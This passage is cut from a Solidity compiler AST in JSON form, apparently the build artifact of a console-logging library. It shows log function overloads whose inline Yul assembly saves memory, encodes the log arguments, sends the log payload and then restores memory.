:[{"kind":"number","nativeSrc":"329584:4:22","nodeType":"YulLiteral","src":"329584:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"329590:2:22","nodeType":"YulIdentifier","src":"329590:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329577:6:22","nodeType":"YulIdentifier","src":"329577:6:22"},"nativeSrc":"329577:16:22","nodeType":"YulFunctionCall","src":"329577:16:22"},"nativeSrc":"329577:16:22","nodeType":"YulExpressionStatement","src":"329577:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329613:4:22","nodeType":"YulLiteral","src":"329613:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"329619:2:22","nodeType":"YulIdentifier","src":"329619:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329606:6:22","nodeType":"YulIdentifier","src":"329606:6:22"},"nativeSrc":"329606:16:22","nodeType":"YulFunctionCall","src":"329606:16:22"},"nativeSrc":"329606:16:22","nodeType":"YulExpressionStatement","src":"329606:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44518,"isOffset":false,"isSlot":false,"src":"329445:2:22","valueSize":1},{"declaration":44521,"isOffset":false,"isSlot":false,"src":"329474:2:22","valueSize":1},{"declaration":44524,"isOffset":false,"isSlot":false,"src":"329503:2:22","valueSize":1},{"declaration":44527,"isOffset":false,"isSlot":false,"src":"329532:2:22","valueSize":1},{"declaration":44530,"isOffset":false,"isSlot":false,"src":"329561:2:22","valueSize":1},{"declaration":44533,"isOffset":false,"isSlot":false,"src":"329590:2:22","valueSize":1},{"declaration":44536,"isOffset":false,"isSlot":false,"src":"329619:2:22","valueSize":1}],"id":44544,"nodeType":"InlineAssembly","src":"329409:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"328313:3:22","parameters":{"id":44515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44508,"mutability":"mutable","name":"p0","nameLocation":"328325:2:22","nodeType":"VariableDeclaration","scope":44546,"src":"328317:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44507,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328317:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44510,"mutability":"mutable","name":"p1","nameLocation":"328334:2:22","nodeType":"VariableDeclaration","scope":44546,"src":"328329:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44509,"name":"bool","nodeType":"ElementaryTypeName","src":"328329:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44512,"mutability":"mutable","name":"p2","nameLocation":"328346:2:22","nodeType":"VariableDeclaration","scope":44546,"src":"328338:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44511,"name":"address","nodeType":"ElementaryTypeName","src":"328338:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44514,"mutability":"mutable","name":"p3","nameLocation":"328358:2:22","nodeType":"VariableDeclaration","scope":44546,"src":"328350:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44513,"name":"uint256","nodeType":"ElementaryTypeName","src":"328350:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"328316:45:22"},"returnParameters":{"id":44516,"nodeType":"ParameterList","parameters":[],"src":"328376:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44592,"nodeType":"FunctionDefinition","src":"329644:1530:22","nodes":[],"body":{"id":44591,"nodeType":"Block","src":"329716:1458:22","nodes":[],"statements":[{"assignments":[44558],"declarations":[{"constant":false,"id":44558,"mutability":"mutable","name":"m0","nameLocation":"329734:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329726:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329726:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44559,"nodeType":"VariableDeclarationStatement","src":"329726:10:22"},{"assignments":[44561],"declarations":[{"constant":false,"id":44561,"mutability":"mutable","name":"m1","nameLocation":"329754:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329746:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44560,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329746:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44562,"nodeType":"VariableDeclarationStatement","src":"329746:10:22"},{"assignments":[44564],"declarations":[{"constant":false,"id":44564,"mutability":"mutable","name":"m2","nameLocation":"329774:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329766:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44563,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329766:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44565,"nodeType":"VariableDeclarationStatement","src":"329766:10:22"},{"assignments":[44567],"declarations":[{"constant":false,"id":44567,"mutability":"mutable","name":"m3","nameLocation":"329794:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329786:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44566,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329786:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44568,"nodeType":"VariableDeclarationStatement","src":"329786:10:22"},{"assignments":[44570],"declarations":[{"constant":false,"id":44570,"mutability":"mutable","name":"m4","nameLocation":"329814:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329806:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44569,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329806:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44571,"nodeType":"VariableDeclarationStatement","src":"329806:10:22"},{"assignments":[44573],"declarations":[{"constant":false,"id":44573,"mutability":"mutable","name":"m5","nameLocation":"329834:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329826:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44572,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329826:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44574,"nodeType":"VariableDeclarationStatement","src":"329826:10:22"},{"assignments":[44576],"declarations":[{"constant":false,"id":44576,"mutability":"mutable","name":"m6","nameLocation":"329854:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329846:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329846:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44577,"nodeType":"VariableDeclarationStatement","src":"329846:10:22"},{"assignments":[44579],"declarations":[{"constant":false,"id":44579,"mutability":"mutable","name":"m7","nameLocation":"329874:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329866:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44578,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329866:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44580,"nodeType":"VariableDeclarationStatement","src":"329866:10:22"},{"assignments":[44582],"declarations":[{"constant":false,"id":44582,"mutability":"mutable","name":"m8","nameLocation":"329894:2:22","nodeType":"VariableDeclaration","scope":44591,"src":"329886:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44581,"name":"bytes32","nodeType":"ElementaryTypeName","src":"329886:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44583,"nodeType":"VariableDeclarationStatement","src":"329886:10:22"},{"AST":{"nativeSrc":"329915:924:22","nodeType":"YulBlock","src":"329915:924:22","statements":[{"body":{"nativeSrc":"329958:313:22","nodeType":"YulBlock","src":"329958:313:22","statements":[{"nativeSrc":"329976:15:22","nodeType":"YulVariableDeclaration","src":"329976:15:22","value":{"kind":"number","nativeSrc":"329990:1:22","nodeType":"YulLiteral","src":"329990:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"329980:6:22","nodeType":"YulTypedName","src":"329980:6:22","type":""}]},{"body":{"nativeSrc":"330061:40:22","nodeType":"YulBlock","src":"330061:40:22","statements":[{"body":{"nativeSrc":"330090:9:22","nodeType":"YulBlock","src":"330090:9:22","statements":[{"nativeSrc":"330092:5:22","nodeType":"YulBreak","src":"330092:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"330078:6:22","nodeType":"YulIdentifier","src":"330078:6:22"},{"name":"w","nativeSrc":"330086:1:22","nodeType":"YulIdentifier","src":"330086:1:22"}],"functionName":{"name":"byte","nativeSrc":"330073:4:22","nodeType":"YulIdentifier","src":"330073:4:22"},"nativeSrc":"330073:15:22","nodeType":"YulFunctionCall","src":"330073:15:22"}],"functionName":{"name":"iszero","nativeSrc":"330066:6:22","nodeType":"YulIdentifier","src":"330066:6:22"},"nativeSrc":"330066:23:22","nodeType":"YulFunctionCall","src":"330066:23:22"},"nativeSrc":"330063:36:22","nodeType":"YulIf","src":"330063:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"330018:6:22","nodeType":"YulIdentifier","src":"330018:6:22"},{"kind":"number","nativeSrc":"330026:4:22","nodeType":"YulLiteral","src":"330026:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"330015:2:22","nodeType":"YulIdentifier","src":"330015:2:22"},"nativeSrc":"330015:16:22","nodeType":"YulFunctionCall","src":"330015:16:22"},"nativeSrc":"330008:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"330032:28:22","nodeType":"YulBlock","src":"330032:28:22","statements":[{"nativeSrc":"330034:24:22","nodeType":"YulAssignment","src":"330034:24:22","value":{"arguments":[{"name":"length","nativeSrc":"330048:6:22","nodeType":"YulIdentifier","src":"330048:6:22"},{"kind":"number","nativeSrc":"330056:1:22","nodeType":"YulLiteral","src":"330056:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"330044:3:22","nodeType":"YulIdentifier","src":"330044:3:22"},"nativeSrc":"330044:14:22","nodeType":"YulFunctionCall","src":"330044:14:22"},"variableNames":[{"name":"length","nativeSrc":"330034:6:22","nodeType":"YulIdentifier","src":"330034:6:22"}]}]},"pre":{"nativeSrc":"330012:2:22","nodeType":"YulBlock","src":"330012:2:22","statements":[]},"src":"330008:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"330125:3:22","nodeType":"YulIdentifier","src":"330125:3:22"},{"name":"length","nativeSrc":"330130:6:22","nodeType":"YulIdentifier","src":"330130:6:22"}],"functionName":{"name":"mstore","nativeSrc":"330118:6:22","nodeType":"YulIdentifier","src":"330118:6:22"},"nativeSrc":"330118:19:22","nodeType":"YulFunctionCall","src":"330118:19:22"},"nativeSrc":"330118:19:22","nodeType":"YulExpressionStatement","src":"330118:19:22"},{"nativeSrc":"330154:37:22","nodeType":"YulVariableDeclaration","src":"330154:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"330171:3:22","nodeType":"YulLiteral","src":"330171:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"330180:1:22","nodeType":"YulLiteral","src":"330180:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"330183:6:22","nodeType":"YulIdentifier","src":"330183:6:22"}],"functionName":{"name":"shl","nativeSrc":"330176:3:22","nodeType":"YulIdentifier","src":"330176:3:22"},"nativeSrc":"330176:14:22","nodeType":"YulFunctionCall","src":"330176:14:22"}],"functionName":{"name":"sub","nativeSrc":"330167:3:22","nodeType":"YulIdentifier","src":"330167:3:22"},"nativeSrc":"330167:24:22","nodeType":"YulFunctionCall","src":"330167:24:22"},"variables":[{"name":"shift","nativeSrc":"330158:5:22","nodeType":"YulTypedName","src":"330158:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"330219:3:22","nodeType":"YulIdentifier","src":"330219:3:22"},{"kind":"number","nativeSrc":"330224:4:22","nodeType":"YulLiteral","src":"330224:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"330215:3:22","nodeType":"YulIdentifier","src":"330215:3:22"},"nativeSrc":"330215:14:22","nodeType":"YulFunctionCall","src":"330215:14:22"},{"arguments":[{"name":"shift","nativeSrc":"330235:5:22","nodeType":"YulIdentifier","src":"330235:5:22"},{"arguments":[{"name":"shift","nativeSrc":"330246:5:22","nodeType":"YulIdentifier","src":"330246:5:22"},{"name":"w","nativeSrc":"330253:1:22","nodeType":"YulIdentifier","src":"330253:1:22"}],"functionName":{"name":"shr","nativeSrc":"330242:3:22","nodeType":"YulIdentifier","src":"330242:3:22"},"nativeSrc":"330242:13:22","nodeType":"YulFunctionCall","src":"330242:13:22"}],"functionName":{"name":"shl","nativeSrc":"330231:3:22","nodeType":"YulIdentifier","src":"330231:3:22"},"nativeSrc":"330231:25:22","nodeType":"YulFunctionCall","src":"330231:25:22"}],"functionName":{"name":"mstore","nativeSrc":"330208:6:22","nodeType":"YulIdentifier","src":"330208:6:22"},"nativeSrc":"330208:49:22","nodeType":"YulFunctionCall","src":"330208:49:22"},"nativeSrc":"330208:49:22","nodeType":"YulExpressionStatement","src":"330208:49:22"}]},"name":"writeString","nativeSrc":"329929:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"329950:3:22","nodeType":"YulTypedName","src":"329950:3:22","type":""},{"name":"w","nativeSrc":"329955:1:22","nodeType":"YulTypedName","src":"329955:1:22","type":""}],"src":"329929:342:22"},{"nativeSrc":"330284:17:22","nodeType":"YulAssignment","src":"330284:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330296:4:22","nodeType":"YulLiteral","src":"330296:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"330290:5:22","nodeType":"YulIdentifier","src":"330290:5:22"},"nativeSrc":"330290:11:22","nodeType":"YulFunctionCall","src":"330290:11:22"},"variableNames":[{"name":"m0","nativeSrc":"330284:2:22","nodeType":"YulIdentifier","src":"330284:2:22"}]},{"nativeSrc":"330314:17:22","nodeType":"YulAssignment","src":"330314:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330326:4:22","nodeType":"YulLiteral","src":"330326:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"330320:5:22","nodeType":"YulIdentifier","src":"330320:5:22"},"nativeSrc":"330320:11:22","nodeType":"YulFunctionCall","src":"330320:11:22"},"variableNames":[{"name":"m1","nativeSrc":"330314:2:22","nodeType":"YulIdentifier","src":"330314:2:22"}]},{"nativeSrc":"330344:17:22","nodeType":"YulAssignment","src":"330344:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330356:4:22","nodeType":"YulLiteral","src":"330356:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"330350:5:22","nodeType":"YulIdentifier","src":"330350:5:22"},"nativeSrc":"330350:11:22","nodeType":"YulFunctionCall","src":"330350:11:22"},"variableNames":[{"name":"m2","nativeSrc":"330344:2:22","nodeType":"YulIdentifier","src":"330344:2:22"}]},{"nativeSrc":"330374:17:22","nodeType":"YulAssignment","src":"330374:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330386:4:22","nodeType":"YulLiteral","src":"330386:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"330380:5:22","nodeType":"YulIdentifier","src":"330380:5:22"},"nativeSrc":"330380:11:22","nodeType":"YulFunctionCall","src":"330380:11:22"},"variableNames":[{"name":"m3","nativeSrc":"330374:2:22","nodeType":"YulIdentifier","src":"330374:2:22"}]},{"nativeSrc":"330404:17:22","nodeType":"YulAssignment","src":"330404:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330416:4:22","nodeType":"YulLiteral","src":"330416:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"330410:5:22","nodeType":"YulIdentifier","src":"330410:5:22"},"nativeSrc":"330410:11:22","nodeType":"YulFunctionCall","src":"330410:11:22"},"variableNames":[{"name":"m4","nativeSrc":"330404:2:22","nodeType":"YulIdentifier","src":"330404:2:22"}]},{"nativeSrc":"330434:17:22","nodeType":"YulAssignment","src":"330434:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330446:4:22","nodeType":"YulLiteral","src":"330446:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"330440:5:22","nodeType":"YulIdentifier","src":"330440:5:22"},"nativeSrc":"330440:11:22","nodeType":"YulFunctionCall","src":"330440:11:22"},"variableNames":[{"name":"m5","nativeSrc":"330434:2:22","nodeType":"YulIdentifier","src":"330434:2:22"}]},{"nativeSrc":"330464:17:22","nodeType":"YulAssignment","src":"330464:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330476:4:22","nodeType":"YulLiteral","src":"330476:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"330470:5:22","nodeType":"YulIdentifier","src":"330470:5:22"},"nativeSrc":"330470:11:22","nodeType":"YulFunctionCall","src":"330470:11:22"},"variableNames":[{"name":"m6","nativeSrc":"330464:2:22","nodeType":"YulIdentifier","src":"330464:2:22"}]},{"nativeSrc":"330494:17:22","nodeType":"YulAssignment","src":"330494:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"330506:4:22","nodeType":"YulLiteral","src":"330506:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"330500:5:22","nodeType":"YulIdentifier","src":"330500:5:22"},"nativeSrc":"330500:11:22","nodeType":"YulFunctionCall","src":"330500:11:22"},"variableNames":[{"name":"m7","nativeSrc":"330494:2:22","nodeType":"YulIdentifier","src":"330494:2:22"}]},{"nativeSrc":"330524:18:22","nodeType":"YulAssignment","src":"330524:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"330536:5:22","nodeType":"YulLiteral","src":"330536:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"330530:5:22","nodeType":"YulIdentifier","src":"330530:5:22"},"nativeSrc":"330530:12:22","nodeType":"YulFunctionCall","src":"330530:12:22"},"variableNames":[{"name":"m8","nativeSrc":"330524:2:22","nodeType":"YulIdentifier","src":"330524:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330624:4:22","nodeType":"YulLiteral","src":"330624:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"330630:10:22","nodeType":"YulLiteral","src":"330630:10:22","type":"","value":"0x2d8e33a4"}],"functionName":{"name":"mstore","nativeSrc":"330617:6:22","nodeType":"YulIdentifier","src":"330617:6:22"},"nativeSrc":"330617:24:22","nodeType":"YulFunctionCall","src":"330617:24:22"},"nativeSrc":"330617:24:22","nodeType":"YulExpressionStatement","src":"330617:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330661:4:22","nodeType":"YulLiteral","src":"330661:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"330667:4:22","nodeType":"YulLiteral","src":"330667:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"330654:6:22","nodeType":"YulIdentifier","src":"330654:6:22"},"nativeSrc":"330654:18:22","nodeType":"YulFunctionCall","src":"330654:18:22"},"nativeSrc":"330654:18:22","nodeType":"YulExpressionStatement","src":"330654:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330692:4:22","nodeType":"YulLiteral","src":"330692:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"330698:2:22","nodeType":"YulIdentifier","src":"330698:2:22"}],"functionName":{"name":"mstore","nativeSrc":"330685:6:22","nodeType":"YulIdentifier","src":"330685:6:22"},"nativeSrc":"330685:16:22","nodeType":"YulFunctionCall","src":"330685:16:22"},"nativeSrc":"330685:16:22","nodeType":"YulExpressionStatement","src":"330685:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330721:4:22","nodeType":"YulLiteral","src":"330721:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"330727:2:22","nodeType":"YulIdentifier","src":"330727:2:22"}],"functionName":{"name":"mstore","nativeSrc":"330714:6:22","nodeType":"YulIdentifier","src":"330714:6:22"},"nativeSrc":"330714:16:22","nodeType":"YulFunctionCall","src":"330714:16:22"},"nativeSrc":"330714:16:22","nodeType":"YulExpressionStatement","src":"330714:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330750:4:22","nodeType":"YulLiteral","src":"330750:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"330756:4:22","nodeType":"YulLiteral","src":"330756:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"330743:6:22","nodeType":"YulIdentifier","src":"330743:6:22"},"nativeSrc":"330743:18:22","nodeType":"YulFunctionCall","src":"330743:18:22"},"nativeSrc":"330743:18:22","nodeType":"YulExpressionStatement","src":"330743:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330786:4:22","nodeType":"YulLiteral","src":"330786:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"330792:2:22","nodeType":"YulIdentifier","src":"330792:2:22"}],"functionName":{"name":"writeString","nativeSrc":"330774:11:22","nodeType":"YulIdentifier","src":"330774:11:22"},"nativeSrc":"330774:21:22","nodeType":"YulFunctionCall","src":"330774:21:22"},"nativeSrc":"330774:21:22","nodeType":"YulExpressionStatement","src":"330774:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330820:4:22","nodeType":"YulLiteral","src":"330820:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"330826:2:22","nodeType":"YulIdentifier","src":"330826:2:22"}],"functionName":{"name":"writeString","nativeSrc":"330808:11:22","nodeType":"YulIdentifier","src":"330808:11:22"},"nativeSrc":"330808:21:22","nodeType":"YulFunctionCall","src":"330808:21:22"},"nativeSrc":"330808:21:22","nodeType":"YulExpressionStatement","src":"330808:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44558,"isOffset":false,"isSlot":false,"src":"330284:2:22","valueSize":1},{"declaration":44561,"isOffset":false,"isSlot":false,"src":"330314:2:22","valueSize":1},{"declaration":44564,"isOffset":false,"isSlot":false,"src":"330344:2:22","valueSize":1},{"declaration":44567,"isOffset":false,"isSlot":false,"src":"330374:2:22","valueSize":1},{"declaration":44570,"isOffset":false,"isSlot":false,"src":"330404:2:22","valueSize":1},{"declaration":44573,"isOffset":false,"isSlot":false,"src":"330434:2:22","valueSize":1},{"declaration":44576,"isOffset":false,"isSlot":false,"src":"330464:2:22","valueSize":1},{"declaration":44579,"isOffset":false,"isSlot":false,"src":"330494:2:22","valueSize":1},{"declaration":44582,"isOffset":false,"isSlot":false,"src":"330524:2:22","valueSize":1},{"declaration":44548,"isOffset":false,"isSlot":false,"src":"330792:2:22","valueSize":1},{"declaration":44550,"isOffset":false,"isSlot":false,"src":"330698:2:22","valueSize":1},{"declaration":44552,"isOffset":false,"isSlot":false,"src":"330727:2:22","valueSize":1},{"declaration":44554,"isOffset":false,"isSlot":false,"src":"330826:2:22","valueSize":1}],"id":44584,"nodeType":"InlineAssembly","src":"329906:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44586,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"330864:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44587,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"330870:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44585,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"330848:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"330848:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44589,"nodeType":"ExpressionStatement","src":"330848:28:22"},{"AST":{"nativeSrc":"330895:273:22","nodeType":"YulBlock","src":"330895:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"330916:4:22","nodeType":"YulLiteral","src":"330916:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"330922:2:22","nodeType":"YulIdentifier","src":"330922:2:22"}],"functionName":{"name":"mstore","nativeSrc":"330909:6:22","nodeType":"YulIdentifier","src":"330909:6:22"},"nativeSrc":"330909:16:22","nodeType":"YulFunctionCall","src":"330909:16:22"},"nativeSrc":"330909:16:22","nodeType":"YulExpressionStatement","src":"330909:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330945:4:22","nodeType":"YulLiteral","src":"330945:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"330951:2:22","nodeType":"YulIdentifier","src":"330951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"330938:6:22","nodeType":"YulIdentifier","src":"330938:6:22"},"nativeSrc":"330938:16:22","nodeType":"YulFunctionCall","src":"330938:16:22"},"nativeSrc":"330938:16:22","nodeType":"YulExpressionStatement","src":"330938:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"330974:4:22","nodeType":"YulLiteral","src":"330974:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"330980:2:22","nodeType":"YulIdentifier","src":"330980:2:22"}],"functionName":{"name":"mstore","nativeSrc":"330967:6:22","nodeType":"YulIdentifier","src":"330967:6:22"},"nativeSrc":"330967:16:22","nodeType":"YulFunctionCall","src":"330967:16:22"},"nativeSrc":"330967:16:22","nodeType":"YulExpressionStatement","src":"330967:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"331003:4:22","nodeType":"YulLiteral","src":"331003:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"331009:2:22","nodeType":"YulIdentifier","src":"331009:2:22"}],"functionName":{"name":"mstore","nativeSrc":"330996:6:22","nodeType":"YulIdentifier","src":"330996:6:22"},"nativeSrc":"330996:16:22","nodeType":"YulFunctionCall","src":"330996:16:22"},"nativeSrc":"330996:16:22","nodeType":"YulExpressionStatement","src":"330996:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"331032:4:22","nodeType":"YulLiteral","src":"331032:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"331038:2:22","nodeType":"YulIdentifier","src":"331038:2:22"}],"functionName":{"name":"mstore","nativeSrc":"331025:6:22","nodeType":"YulIdentifier","src":"331025:6:22"},"nativeSrc":"331025:16:22","nodeType":"YulFunctionCall","src":"331025:16:22"},"nativeSrc":"331025:16:22","nodeType":"YulExpressionStatement","src":"331025:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"331061:4:22","nodeType":"YulLiteral","src":"331061:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"331067:2:22","nodeType":"YulIdentifier","src":"331067:2:22"}],"functionName":{"name":"mstore","nativeSrc":"331054:6:22","nodeType":"YulIdentifier","src":"331054:6:22"},"nativeSrc":"331054:16:22","nodeType":"YulFunctionCall","src":"331054:16:22"},"nativeSrc":"331054:16:22","nodeType":"YulExpressionStatement","src":"331054:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"331090:4:22","nodeType":"YulLiteral","src":"331090:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"331096:2:22","nodeType":"YulIdentifier","src":"331096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"331083:6:22","nodeType":"YulIdentifier","src":"331083:6:22"},"nativeSrc":"331083:16:22","nodeType":"YulFunctionCall","src":"331083:16:22"},"nativeSrc":"331083:16:22","nodeType":"YulExpressionStatement","src":"331083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"331119:4:22","nodeType":"YulLiteral","src":"331119:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"331125:2:22","nodeType":"YulIdentifier","src":"331125:2:22"}],"functionName":{"name":"mstore","nativeSrc":"331112:6:22","nodeType":"YulIdentifier","src":"331112:6:22"},"nativeSrc":"331112:16:22","nodeType":"YulFunctionCall","src":"331112:16:22"},"nativ